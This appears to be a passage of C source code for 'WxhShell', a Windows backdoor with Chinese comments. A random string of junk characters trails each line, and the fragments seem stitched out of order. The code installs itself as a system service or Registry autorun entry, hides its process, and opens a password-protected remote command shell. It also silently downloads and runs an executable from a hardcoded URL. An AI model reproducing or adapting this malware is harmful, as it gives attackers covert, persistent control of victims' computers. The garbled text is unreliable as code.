ULONG UniqueProcessId; A!j&g(Z"Q
ULONG InheritedFromUniqueProcessId; ~5JXY5*o
} PROCESS_BASIC_INFORMATION; i4uUvZf
IB?5y~+h
PROCNTQSIP NtQueryInformationProcess; {WC{T2:8
SYC_=X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +1cK (Si
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $)\ocsO
:ox+WY
HANDLE hProcess; aIm\tPbb
PROCESS_BASIC_INFORMATION pbi; 2?m'Dy'JE
NDI|;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k'S/nF A
if(NULL == hInst ) return 0; &PGU%"rN
g.,IQ4o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,7/N=mz
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M/#<=XhA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [1Vh3~>J6
un..UU4
if (!NtQueryInformationProcess) return 0; ~s88JLw%&u
H(""So7L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .=K@M"5&
if(!hProcess) return 0; G8<,\mg+
/r]IY.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WAob"`8]
Ao=.=0os
CloseHandle(hProcess); g8B@M*JA
lJ}lO,g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;zp0,[r
if(hProcess==NULL) return 0; 4wK!)Pwq
a|66[
HMODULE hMod; y&SueU=
char procName[255]; *%Q!22?6F
unsigned long cbNeeded; oU{m\r
2AU_<Hr6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^S[Mg6J
PiM@iS
CloseHandle(hProcess); r0hu?3u1?
4INO .
if(strstr(procName,"services")) return 1; // 以服务启动 F7L+bv
4egq Y0A
return 0; // 注册表启动 &
XcY|y=W
} #:236^xYS
sH#UM(N
// 主模块 Dmn6{jyP
int StartWxhshell(LPSTR lpCmdLine) +Pn+&o;D
{ UB=I>
SOCKET wsl; ]JtK)9
BOOL val=TRUE; :uqsRFo&4
int port=0; V~ZAs+(2Z
struct sockaddr_in door; ,AWN *OS
Joe k4t&0<
if(wscfg.ws_autoins) Install(); \J:/l|h
y<.1+TG
port=atoi(lpCmdLine); +MXI;k_
_kgw+NA&-H
if(port<=0) port=wscfg.ws_port; wD"Y1?Mr
\~U8<z
WSADATA data; M2mte#h
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s8eFEi
W}nD#9tL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $I+QyKO9k
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HPm12&8,
door.sin_family = AF_INET; C:z K{+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); FhS:.
door.sin_port = htons(port); ?MyXii<a
e=TB/W_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vA:1z$m
closesocket(wsl); X8p-VCkV
return 1; De\&r~bTW9
} h_Q9c
0I& !a$:
if(listen(wsl,2) == INVALID_SOCKET) { {_l@ws
closesocket(wsl); mq su8ti
return 1; h0d;a
} 1Y\g{A"
Wxhshell(wsl); kC0F@'D
WSACleanup(); )"wWV{k
-+ -@Yq$
return 0; ^6oz3+
CR&v z3\Q
} -dZ7;n5&_
0vt?yD
// 以NT服务方式启动 R/xeC [r
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MAQkk%6[g
{ E"nIC,VZ
DWORD status = 0; Y6&w0~?!
DWORD specificError = 0xfffffff; h /@G[5E
zT*EpIa+LS
serviceStatus.dwServiceType = SERVICE_WIN32; vc5g4ud
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :WJ[a#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VW$ Hzx_z
serviceStatus.dwWin32ExitCode = 0; +r"{$'{^
serviceStatus.dwServiceSpecificExitCode = 0; 6/Q'o5>NL:
serviceStatus.dwCheckPoint = 0; 6ix8P;;}#
serviceStatus.dwWaitHint = 0; fOtL6/?
8:|F'{<<b
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AK} wSXF
if (hServiceStatusHandle==0) return; 6`+dP"@
1c8J yp
status = GetLastError(); V^As@P8,'(
if (status!=NO_ERROR) k$j>_U? P
{ 6DD"Asi+
serviceStatus.dwCurrentState = SERVICE_STOPPED; nM>oG'm[n
serviceStatus.dwCheckPoint = 0; :]v%6i.
serviceStatus.dwWaitHint = 0; sjvlnnO
serviceStatus.dwWin32ExitCode = status; MOKg[j
serviceStatus.dwServiceSpecificExitCode = specificError; 0V@u]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -O:+?gG
return; pPu E-EDk
} cLEBcTx
Oca_1dlx
serviceStatus.dwCurrentState = SERVICE_RUNNING; /ZUKt
serviceStatus.dwCheckPoint = 0; /Q8E12
serviceStatus.dwWaitHint = 0; ?YOH9%_cs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lo5itW
} !-_0I:m
rzsb(
// 处理NT服务事件,比如:启动、停止 NiQ`,Q$B
VOID WINAPI NTServiceHandler(DWORD fdwControl) !ZJ"lm
{ I6,'o)l{_
switch(fdwControl) l\I#^N
{ `lX |yy"
case SERVICE_CONTROL_STOP: *Fi`o_d9[`
serviceStatus.dwWin32ExitCode = 0; /'ccFm2
serviceStatus.dwCurrentState = SERVICE_STOPPED;
O
KVIl
serviceStatus.dwCheckPoint = 0; KuL2X@)}
serviceStatus.dwWaitHint = 0; ^2rNty,nH
{ M_<O'Ii3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); meA=lg?
} ,]+P#eXgE
return; cah1'Y
case SERVICE_CONTROL_PAUSE: ^mz&L|h
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]h3<r8D_#
break; S='AA_jnw
case SERVICE_CONTROL_CONTINUE: ^I*</w8
serviceStatus.dwCurrentState = SERVICE_RUNNING; /g BB
break; d!mtSOh
case SERVICE_CONTROL_INTERROGATE: ms@*JCL!t
break; [p^N].K$
}; X`JWYb4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "7mYs)=
} ~za=yZo7(
rJ|Q%utYz
// 标准应用程序主函数 ^1^k<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /Ut h#s:
{ Ab ,n^
:vZ8n6J[
// 获取操作系统版本 ? FGzw
OsIsNt=GetOsVer(); J6r"_>)z
GetModuleFileName(NULL,ExeFile,MAX_PATH); bw\fKZ
&MKG#Y}
// 从命令行安装 3z';Zwz &X
if(strpbrk(lpCmdLine,"iI")) Install(); 5 0uYU[W
M0zJGIT~b
// 下载执行文件 ofH=h
if(wscfg.ws_downexe) { ^m8T$^z>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dvbrpn!sk
WinExec(wscfg.ws_filenam,SW_HIDE); &7"a.&*9xX
} /T1zz2l~
yV[9 (
if(!OsIsNt) { "Ah (EZAR
// 如果时win9x,隐藏进程并且设置为注册表启动 7N9~nEU
HideProc(); #-*7<wN
StartWxhshell(lpCmdLine); sLrSi
} Z
M_
6A1
else *5?a%p
if(StartFromService()) RZ 4xR
// 以服务方式启动 {G$I|<MD2T
StartServiceCtrlDispatcher(DispatchTable); zO8`xrN!
else K(@QKRZ7[
// 普通方式启动 g S xK9P
StartWxhshell(lpCmdLine);
booth}M
41Bp^R}^/
return 0; ~'>RK
} E^B*:w3
H<T9$7Yr%r
{C3AxK0
[-C-+jC
=========================================== \i_y(;
db#QA#^S
]k~Vh[[
['~j1!/;6
'?7th>pC
i i&{gC
" x dDR/KS
~_<I}!j/B
#include <stdio.h> $.{CA-~%[
#include <string.h> KzD5>Xf]4$
#include <windows.h> o (fZZ`6Y
#include <winsock2.h> 7yp7`|,p
#include <winsvc.h> WvSh i=
#include <urlmon.h> >`L)E,=/
,Fo7E
#pragma comment (lib, "Ws2_32.lib") C/V{&/5w
#pragma comment (lib, "urlmon.lib") =Lx*TbsFYt
]+A>*0#"
#define MAX_USER 100 // 最大客户端连接数 .I\)1kjX
#define BUF_SOCK 200 // sock buffer :a$ZYyD
#define KEY_BUFF 255 // 输入 buffer /!J1}S
vl59|W6
#define REBOOT 0 // 重启 BM PLL2I
#define SHUTDOWN 1 // 关机 cfI5KLG~#
6!P];3&o\A
#define DEF_PORT 5000 // 监听端口 )#ze
3S='/^l
#define REG_LEN 16 // 注册表键长度 3l5rUjRwj
#define SVC_LEN 80 // NT服务名长度 !#cZ!
KQ'fp:5|/@
// 从dll定义API jCdKau&9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HRS|VC$tz
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SjgF&LD
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *4}lV8
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S~^0
_?
&X0/7)*"v
// wxhshell配置信息 Ij;=
struct WSCFG { V"":_`1VW
int ws_port; // 监听端口 V#
Mw
char ws_passstr[REG_LEN]; // 口令 [P#^nyOh(
int ws_autoins; // 安装标记, 1=yes 0=no Q)N$h07R
char ws_regname[REG_LEN]; // 注册表键名 N!" ]e*q
char ws_svcname[REG_LEN]; // 服务名 :()(P9?
char ws_svcdisp[SVC_LEN]; // 服务显示名 pcw!e_"+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 86d*
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |rJ_
int ws_downexe; // 下载执行标记, 1=yes 0=no pL` snVz
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ONQp-$
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KI (9TI*
xR+=F1y
}; f:iK5g
!M:m(6E1
// default Wxhshell configuration *]G&pmMs
struct WSCFG wscfg={DEF_PORT, !1<x@%
"xuhuanlingzhe", ,Yhy7w
1, $$C5Q;7w!
"Wxhshell", o?A/
"Wxhshell", 5wXe^G
"WxhShell Service", .&2p Z
"Wrsky Windows CmdShell Service", +kCVi
"Please Input Your Password: ", W"9iFj X
1, N{n}]Js1D-
"http://www.wrsky.com/wxhshell.exe", 6_/oVvd
"Wxhshell.exe" !ZP1?l30
}; |u8hxa
KLBV(`MS
// 消息定义模块 -,jJ{Y~
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .XM3oIaW
char *msg_ws_prompt="\n\r? for help\n\r#>"; rN#ydw:9
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _DfI78`(
char *msg_ws_ext="\n\rExit."; 5vIuH+0
char *msg_ws_end="\n\rQuit."; 1xK'T_[
char *msg_ws_boot="\n\rReboot..."; Zrfp4SlZZ
char *msg_ws_poff="\n\rShutdown..."; U|odm 58s
char *msg_ws_down="\n\rSave to "; m'1NZV%#
#|^7{TN
char *msg_ws_err="\n\rErr!"; 5r/QPJ<h
char *msg_ws_ok="\n\rOK!"; 6suB!XF;
Bv"Fx*{W
char ExeFile[MAX_PATH]; WH :+HNl1d
int nUser = 0; L;.6j*E*
HANDLE handles[MAX_USER]; X70 vDoW
int OsIsNt; ~h -G
5n;|K]UW
SERVICE_STATUS serviceStatus; Avw"[~Xd
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9[5NnRv$P
2YK4SL
// 函数声明 &B3Eq1A
int Install(void); {y0*cC
int Uninstall(void); :K{`0U&l5
int DownloadFile(char *sURL, SOCKET wsh); (\FjbY9&
int Boot(int flag); }|f\'S
void HideProc(void); (_]{[dFr%
int GetOsVer(void); IBl}.o&]B#
int Wxhshell(SOCKET wsl); R7T"fN
void TalkWithClient(void *cs); %kD WUJZ
int CmdShell(SOCKET sock); AF
D/
J
int StartFromService(void); Z91gAy^z<
int StartWxhshell(LPSTR lpCmdLine); FM9b0qE
W#'c6Hq2c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7-Rn{"5
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RhyI\(Z2q
qcke8Q
// 数据结构和表定义 q p|T,D%
SERVICE_TABLE_ENTRY DispatchTable[] = ><OdHRh@#
{ z2t;!]"'l
{wscfg.ws_svcname, NTServiceMain}, "Gcr1$xG8!
{NULL, NULL} h./cs'&
}; 4,f[D9|:
(]j*)~=V
// 自我安装 Fy-nV%P
int Install(void) heZ)+}U~
{ P&| =
char svExeFile[MAX_PATH]; s9'g'O5
HKEY key; DMcvu*A
strcpy(svExeFile,ExeFile); M4M
4*o
9In&vF7$
// 如果是win9x系统,修改注册表设为自启动 H_;Dq*
if(!OsIsNt) { eFXxkWR)
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -a3+C,I8g
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fh$U"
RegCloseKey(key); /@FB;`'
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5`oor86
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W_8FzXA
RegCloseKey(key); =YA%=
d_
return 0; SiojOH
} #Vn=(U4}!_
} 2bX!-h
} y=9a2[3Dz
else { -j3 -H&
L3q)j\ls
// 如果是NT以上系统,安装为系统服务 bXq,iX
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2 T{PIJg3
if (schSCManager!=0) \,
n'D
{ (#c5Q&